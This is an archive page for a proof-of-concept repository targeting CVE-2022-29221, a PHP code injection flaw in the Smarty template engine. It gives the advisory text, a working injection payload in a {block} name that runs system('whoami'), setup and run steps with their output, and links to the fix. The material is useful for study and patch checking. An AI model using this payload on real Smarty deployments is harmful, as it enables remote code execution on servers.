Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-29221 PoC — PHP Code Injection by malicious block or filename in Smarty

Source
Associated Vulnerability
Title:PHP Code Injection by malicious block or filename in Smarty (CVE-2022-29221)
Description:Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently no known workarounds.
Description
CVE-2022-29221 Proof of Concept Code - Smarty RCE
Readme
# CVE-2022-29221-PoC
This is a very basic Smarty sceleton app with a single template that shows the Proof of Concept code for CVE-2022-29221.

Injection Example Code:
```
{block name="poc*/system('whoami');/*"}ABC{/block}
```
See: https://github.com/sbani/CVE-2022-29221-PoC/blob/main/template/index.tpl

After running the code, Smarty will add a new php file in the `./compile/` folder. You can see the resulting (and vulnerable) code there.

## Run test

Install:
```
git clone git@github.com:sbani/CVE-2022-29221-PoC.git
cd CVE-2022-29221-PoC
composer install
```

Run:
```
❯ whoami
sbani
❯ php index.php
sbani
sbani
ABC
```

## CVE details
> Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently no known workarounds.

Fix commit is here:
- https://github.com/smarty-php/smarty/commit/64ad6442ca1da31cefdab5c9874262b702cccddd


References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-29221
- https://github.com/smarty-php/smarty/security/advisories/GHSA-634x-pc3q-cf4c
File Snapshot

[4.0K] /data/pocs/2fb6c621515978705e5cb75792cfeed6d44a5f6c ├── [4.0K] cache ├── [4.0K] compile ├── [ 60] composer.json ├── [2.8K] composer.lock ├── [4.0K] config ├── [ 240] index.php ├── [1.0K] LICENSE ├── [1.3K] README.md └── [4.0K] template └── [ 74] index.tpl 4 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →